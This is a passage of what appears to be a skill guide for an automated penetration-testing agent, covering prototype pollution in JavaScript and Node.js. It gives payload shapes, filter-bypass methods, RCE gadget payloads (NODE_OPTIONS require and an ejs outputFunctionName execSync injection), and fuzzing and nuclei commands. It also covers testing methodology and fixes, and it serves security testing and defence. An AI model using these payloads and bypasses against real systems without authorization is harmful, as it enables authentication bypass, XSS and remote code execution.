code execution via gadget chains. Test anywhere user input merges into objects without safe key filtering.++## Attack Surface++**Languages & Runtimes**+- JavaScript/TypeScript (browser and Node.js)+- JSON parsers that preserve `__proto__`, `constructor`, `prototype` keys+- Server-side template engines and config merge utilities++**Input Vectors**+- JSON request bodies, query strings, multipart form fields+- URL-encoded nested objects (`__proto__[key]=value`)+- WebSocket messages, GraphQL variables, file import formats (JSON, YAML)++**Vulnerable Patterns**+- Deep merge/extend: `lodash.merge`, `jQuery.extend`, custom `Object.assign` loops+- Query parsers: `qs`, `body-parser` with nested object support+- Client-side routing, state hydration, analytics SDK config merges++## Key Vulnerabilities++### Client-Side Prototype Pollution++**Gadget Effects**+- Bypass auth checks reading `user.isAdmin` when polluted on prototype+- DOM XSS via polluted properties consumed by `innerHTML`, `document.write`, script loaders+- Cookie/session manipulation if app reads config from polluted defaults++**Payload Shapes**+```json+{"__proto__": {"isAdmin": true}}+{"constructor": {"prototype": {"isAdmin": true}}}+{"__proto__.polluted": "yes"}+```++**URL-encoded (qs-style)**+```+?__proto__[isAdmin]=true+?constructor[prototype][isAdmin]=true+```++### Server-Side Prototype Pollution (Node.js)++**Common Sinks**+- `lodash.merge`, `lodash.defaultsDeep`, `deep-extend`, `merge-options`+- Express/query parsers accepting nested objects+- YAML `load()` (not `safeLoad`) with prototype keys+- JSON.parse → merge into existing object without null prototype++**RCE Gadget Chains (Node.js)**+Pollute properties consumed by child_process, template engines, or require paths:+```json+{"__proto__": {"shell": "/proc/self/exe", "argv0": "node", "NODE_OPTIONS": "--require /tmp/evil.js"}}+{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id')//"}}+```++Gadget availability depends on package versions — enumerate `node_modules` in white-box scans.++### Filter Bypasses++**Key Sanitization Bypasses**+- Unicode normalization: `__proto__` variants, fullwidth underscores+- Nested forms: `constructor.prototype` instead of `__proto__`+- Array pollution: `__proto__[0]`, `[].__proto__`+- JSON `$` or `.` keys in some parsers (MongoDB-style operators overlap — see nosql_injection skill)++**Freeze/Seal Gaps**+- Pollution before `Object.freeze` on instance but not prototype+- Pollution affecting newly created objects after merge++## Testing Methodology++1. **Identify merge points** — Search for extend/merge/defaults/deep copy on user-controlled objects+2. **Baseline probe** — Inject benign pollution marker:+ ```json+ {"__proto__": {"strixPolluted": "yes"}}+ ```+ Verify via response behavior, error messages, or follow-up request reading shared state+3. **Shape variants** — Test `__proto__`, `constructor.prototype`, nested bracket notation+4. **Channel matrix** — JSON body, query string, multipart, WebSocket for same endpoint+5. **Gadget hunting (Node.js)** — Map polluted keys to sinks in dependency tree (ejs, pug, handlebars, child_process wrappers)+6. **Client-side** — Check if polluted properties affect routing, auth UI, or DOM sinks++## Validation++1. Demonstrate a property on `Object.prototype` (or relevant prototype) affecting behavior on unrelated objects+2. Show security impact: auth bypass, XSS execution, or server-side command execution with minimal PoC+3. Prove pollution persists across requests (server) or page lifetime (client) as applicable+4. Document exact merge function and input path (parameter name, content-type)+5. Confirm fix: null-prototype objects, `Object.create(null)`, or key blocklists on `__proto__`/`constructor`/`prototype`++## False Positives++- Parser strips `__proto__` before merge — marker property never appears on prototype+- Framework uses `Object.create(null)` for options objects throughout+- Polluted key visible in JSON echo but never merged into object graph+- Client-side pollution blocked by frozen prototypes in modern hardened libraries (verify no behavioral change)+- WAF blocks payload but alternate encoding also blocked consistently++## Bypass Methods++- Switch from `__proto__` to `constructor[prototype]` when only one is filtered+- Use array notation: `__proto__[key]`, `[].__proto__.key`+- Content-type switching: JSON vs `application/x-www-form-urlencoded` vs multipart+- Split pollution across multiple parameters merged sequentially+- Second-order pollution: store payload, trigger merge in background job or export pipeline++## Impact++- Authentication/authorization bypass via polluted flag checks+- DOM XSS and session compromise in browsers+- Remote code execution on Node.js through known gadget chains+- Denial of service via polluting widely read prototype properties++## Pro Tips++1. Always verify pollution with a unique canary key (`strixPolluted_<random>`) before attempting RCE gadgets+2. In white-box scans, grep for `merge`, `extend`, `defaultsDeep`, `assign` with user input+3. Check both request parsing and response template config merges (second-order)+4. Node gadget chains are version-specific — confirm package version before claiming RCE+5. Combine with client-side template injection if polluted keys flow into rendering config++## Tooling++Detection is mostly about payload shapes (above) plus a couple of light helpers. The sandbox has `go` and `nuclei`; `ppfuzz` is a single static binary.++- **ppfuzz** (dwisiswant0) — fast client-side prototype-pollution fuzzer (Rust, single binary); good for spraying the URL/param shapes across many endpoints: `ppfuzz -l urls.txt`+- **nuclei** (preinstalled) — has prototype-pollution templates for quick triage: `nuclei -u https://target -tags prototype-pollution`+- **BlackFan `client-side-prototype-pollution`** — not a tool but the canonical **gadget reference**: maps polluted keys to concrete DOM-XSS sinks per library (jQuery, Popper, Wistia, etc.). Use it to turn a confirmed pollution into real impact.++For server-side gadget hunting there is no reliable one-click tool — enumerate `node_modules` in white-box scope and match polluted keys to sinks (`ejs`/`pug` `outputFunctionName`, `child_process` `shell`/`NODE_OPTIONS`) as covered above.++## Summary++Any unsafe recursive merge of user-controlled keys is a prototype pollution candidate. Block `__proto__`, `constructor`, and `prototype` keys, use null-prototype objects, and validate impact with behavioral proof — not just reflected keys.